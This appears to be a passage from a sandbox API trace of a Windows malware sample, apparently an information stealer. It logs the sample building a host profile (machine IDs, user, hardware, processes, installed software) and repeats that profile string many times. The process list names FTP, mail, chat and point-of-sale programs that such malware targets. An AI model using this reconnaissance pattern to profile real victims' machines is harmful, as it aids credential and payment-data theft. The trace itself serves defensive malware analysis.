barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\n"
[0054.977] RegCloseKey (hKey=0x514) returned 0x0
[0054.977] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x37, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.977] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 90
[0054.977] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.977] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x1816c0*=0x3b) returned 0x0
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\n", lpString2="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - 